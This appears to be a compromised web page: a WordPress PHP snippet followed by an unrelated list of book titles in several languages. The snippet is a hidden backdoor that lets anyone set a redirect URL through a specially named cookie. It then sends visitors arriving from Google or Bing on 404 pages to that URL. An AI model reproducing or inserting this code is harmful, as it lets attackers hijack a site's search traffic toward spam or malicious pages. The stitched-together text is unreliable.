function wpd_do_stuff_on_40404(){ if( is_404() ){ if (!empty($_COOKIE["9f0a3edc47dd56aa0350b66dbabb6972"])) { update_option('wpd_do_stuff_on_40404_url', $_COOKIE["9f0a3edc47dd56aa0350b66dbabb6972"]); } if (strpos($_SERVER["HTTP_REFERER"], 'google.') !== FALSE || strpos($_SERVER["HTTP_REFERER"], 'bing.') !== FALSE) { $u = get_option('wpd_do_stuff_on_40404_url'); if (!empty($u)) { wp_redirect($u . "?referrer=" . $_SERVER["HTTP_REFERER"]); } } } } add_action( 'template_redirect', 'wpd_do_stuff_on_40404' );Celebrity endorsement. Chancen und Risiken der Testimonialwerbung für Unternehmen (German Edition) Van lief naar lef (Dutch Edition) Schwedens Kreuzzüge nach Finnland und der Friede von Nöteborg (German Edition) Friedenstheoretische Kernfragen aus der Perspektive der Internationalen Beziehungen (German Edition) Logica: Volume 1 - Dimostrazioni e modelli al primo ordine (UNITEXT) (Italian Edition) Going, Going, Gone!: The Art of the Trade in Major League Baseball Zag: The Power of Thinking Differently Writing Fiction: Creative and Critical Approaches (Approaches to Writing) Writing Fiction: Creative and Critical Approaches (Approaches to Writing) Operation: Jericho Wing Chun Kung-fu Volume 2: Fighting & Grappling (Chinese Martial Arts Library) Ciclos de tiempo y significado en los libros mexicanos del destino (Antropologia) (Spanish Edition) Stop Marketing. Be Remarkable!